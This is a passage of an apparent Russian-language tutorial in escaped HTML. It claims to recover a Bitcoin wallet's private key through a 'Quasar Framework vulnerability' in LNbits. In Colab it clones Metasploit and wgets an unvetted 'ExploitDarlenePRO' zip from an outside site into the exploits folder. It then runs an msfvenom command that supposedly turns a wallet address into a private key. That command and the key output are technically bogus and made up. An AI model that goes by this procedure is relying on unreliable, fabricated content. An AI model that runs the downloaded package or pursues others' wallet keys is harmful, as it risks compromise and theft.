Framework<\/u><\/em><\/a><em>\u00a0\u0438\u0437\u00a0<\/em><a href=\"https:\/\/github.com\/rapid7\/metasploit-framework.git\" rel=\"noopener noreferrer nofollow\"><em><u>GitHub<\/u><\/em><\/a><em>\u00a0\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c\u00a0<\/em><a href=\"https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/msfvenom\" rel=\"noopener noreferrer nofollow\"><em><u>MSFVenom<\/u><\/em><\/a><em>\u00a0\u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/53e\/d09\/ed5\/53ed09ed590e9196f99966cd2d726ff4.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"476\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/53e\/d09\/ed5\/53ed09ed590e9196f99966cd2d726ff4.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<pre><code>!git clone https:\/\/github.com\/rapid7\/metasploit-framework.git <\/code><\/pre>\n<hr\/>\n<pre><code>ls<\/code><\/pre>\n<hr\/>\n<pre><code>cd metasploit-framework\/<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/cdd\/bef\/938\/cddbef9387ed9884cc67b26c3df5a09b.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"627\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/cdd\/bef\/938\/cddbef9387ed9884cc67b26c3df5a09b.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0430\u043f\u043a\u0438\u00a0<\/em><code>\"metasploit-framework\"<\/code><\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>ls<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d19\/a33\/2ab\/d19a332abf9beb7d51f575a0489af9fd.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"870\" height=\"418\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d19\/a33\/2ab\/d19a332abf9beb7d51f575a0489af9fd.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u041e\u043f\u0446\u0438\u0438:<\/h3>\n<pre><code>!.\/msfvenom -help <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/26f\/e94\/9e3\/26fe949e39053436357f1295afaa0f3e.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"441\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/26f\/e94\/9e3\/26fe949e39053436357f1295afaa0f3e.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3> \u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434\u00a0GitHub\u00a0\u0432 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c:\u00a0quasar.umd.js<\/h3>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a71\/ce7\/e57\/a71ce7e571018ac50758b9dbaa0d10f9.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"711\" height=\"497\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a71\/ce7\/e57\/a71ce7e571018ac50758b9dbaa0d10f9.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7c2\/512\/d68\/7c2512d68d80b3720cdcc5e98d0bba94.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"815\" height=\"840\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7c2\/512\/d68\/7c2512d68d80b3720cdcc5e98d0bba94.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0412 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0444\u0430\u0439\u043b:\u00a0<\/em><a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><em><u>quasar.umd.js<\/u><\/em><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<h3>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434:<\/h3>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d93\/3d9\/556\/d933d955698bde49a907bd70637f757f.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"803\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d93\/3d9\/556\/d933d955698bde49a907bd70637f757f.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>LNbits, free and open-source Lightning wallet and accounts system<\/h3>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2c3\/c2c\/839\/2c3c2c83967ddf6111a2a01610f57205.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"706\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2c3\/c2c\/839\/2c3c2c83967ddf6111a2a01610f57205.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u00a0lnbits\u00a0\u0432 Google Colab:<\/h3>\n<pre><code>!git clone https:\/\/github.com\/lnbits\/lnbits.git <\/code><\/pre>\n<hr\/>\n<p>ls<\/p>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c73\/134\/33f\/c7313433f6c86e60157eadbd1f04f46f.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"587\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c73\/134\/33f\/c7313433f6c86e60157eadbd1f04f46f.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0444\u0430\u0439\u043b:\u00a0quasar.umd.js\u00a0\u0447\u0435\u0440\u0435\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 cat<\/h3>\n<pre><code>cat lnbits\/lnbits\/static\/vendor\/quasar.umd.js<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/837\/596\/1a4\/8375961a44b666288cf1a9d4b8c1b3bc.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" width=\"1024\" height=\"524\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/837\/596\/1a4\/8375961a44b666288cf1a9d4b8c1b3bc.png\"\/><\/p>\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043f\u0430\u043f\u043a\u0438 \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443:\u00a0<code>\/modules\/exploits\/<\/code><\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/44a\/34a\/9c8\/44a34a9c8336c1630e7cdd369e43a5f1.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"391\" height=\"734\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/44a\/34a\/9c8\/44a34a9c8336c1630e7cdd369e43a5f1.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>ExploitDarlenePRO<\/h3>\n<h3><\/h3>\n<p>\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c <a href=\"https:\/\/darlene.pro\" rel=\"noopener noreferrer nofollow\">ExploitDarlenePRO<\/a> \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443:\u00a0<code>\/modules\/exploits\/<\/code>  <\/p>\n<pre><code>cd modules\/ ls cd exploits\/ !wget https:\/\/darlene.pro\/repository\/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680\/ExploitDarlenePRO.zip<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f6c\/1bc\/386\/f6c1bc38651fbbcb453f6fd8d9da719e.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"462\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f6c\/1bc\/386\/f6c1bc38651fbbcb453f6fd8d9da719e.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p> \u0420\u0430\u0437\u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0443\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435\u00a0<code>ExploitDarlenePRO.zip<\/code>\u00a0\u0447\u0435\u0440\u0435\u0437 \u0443\u0442\u0438\u043b\u0438\u0442\u0443\u00a0<code>unzip<\/code><\/p>\n<pre><code>!unzip ExploitDarlenePRO.zip<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e0b\/a7d\/15f\/e0ba7d15fcae736c2522a61e208b69c4.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"458\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e0b\/a7d\/15f\/e0ba7d15fcae736c2522a61e208b69c4.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443:\u00a0<code>\/ExploitDarlenePRO\/<\/code><\/p>\n<pre><code>ls cd ExploitDarlenePRO\/ ls<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/182\/ac0\/f7a\/182ac0f7abe82aa1b7ee9513db62fba7.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"930\" height=\"433\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/182\/ac0\/f7a\/182ac0f7abe82aa1b7ee9513db62fba7.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043a\u00a0<code>Metasploit Framework<\/code><\/p>\n<pre><code>cd \/ cd content\/metasploit-framework\/ ls<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d09\/949\/038\/d09949038f4bf66ef5d316b3c134ab06.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"488\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d09\/949\/038\/d09949038f4bf66ef5d316b3c134ab06.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430\u0448\u00a0<code>LHOST\u00a0(Local Host)<\/code>\u00a0\u043d\u0430\u0448\u00a0<code>IP-address<\/code>\u00a0\u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<p><strong>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/strong><\/p>\n<pre><code>!ip addr !hostname -I<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8a5\/b5b\/feb\/8a5b5bfeb17379df1877066a22861b37.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"947\" height=\"292\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8a5\/b5b\/feb\/8a5b5bfeb17379df1877066a22861b37.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438\u00a0<code>MSFVenom<\/code><\/p>\n<p>\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a:\u00a0<a href=\"https:\/\/btc1.trezor.io\/address\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" rel=\"noopener noreferrer nofollow\"><u>1qzgi39y33HrM7mHsZ6FaNspHCraJe62F<\/u><\/a><\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/02e\/fc2\/73d\/02efc273d812da44b58c5cfa17da845f.png\" alt=\"Milk Sad \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Libbitcoin Explorer 3.x, \u043a\u0430\u043a \u0431\u044b\u043b\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0430\u0436\u0430 \u043d\u0430 $ 900 000 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432 (BTC)\" title=\"https:\/\/btc1.trezor.io\/address\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" width=\"513\" height=\"476\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/02e\/fc2\/73d\/02efc273d812da44b58c5cfa17da845f.png\"\/><\/p>\n<div><figcaption><a href=\"https:\/\/btc1.trezor.io\/address\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc1.trezor.io\/address\/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F<\/u><\/a><\/figcaption><\/div>\n<\/figure>\n<p><strong>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430:<\/strong><\/p>\n<pre><code>!.\/msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules\/exploits\/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits\/lnbits\/static\/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6e7\/0d8\/93d\/6e70d893d3ef94fbc25f7db08a0264be.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"96\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6e7\/0d8\/93d\/6e70d893d3ef94fbc25f7db08a0264be.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<p><strong>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/strong><\/p>\n<pre><code>111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011<\/code><\/pre>\n<hr\/>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432 \u0444\u0430\u0439\u043b:\u00a0<code>binary.txt<\/code>\u00a0\u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439\u00a0<code>echo<\/code><\/p>\n<p><strong>\u041a\u043e\u043c\u0430\u043d\u0434\u0430:<\/strong><\/p>\n<pre><code>!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt <\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d0b\/740\/b50\/d0b740b506cec10f5083dbdf7114c184.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"53\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d0b\/740\/b50\/d0b740b506cec10f5083dbdf7114c184.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0432 HEX-\u0444\u043e\u0440\u043c\u0430\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0430:<\/p>\n<p><strong>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043a\u043e\u0434\u043e\u043c:<\/strong><\/p>\n<pre><code>binaryFile = open(\"binary.txt\", \"r\") binaryFile = binaryFile.readlines() hexFile = open(\"hex.txt\", \"w+\")  # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile:     binaryCode = line.replace(\" \", \"\")     hexCode = hex(int(binaryCode, 2))     hexCode = hexCode.replace(\"0x\", \"\").upper().zfill(4)     hexFile.write(hexCode + \"\\n\")  # close hexFile hexFile.close()<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4c1\/be0\/08b\/4c1be008b5a76f9f037e18d719188970.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 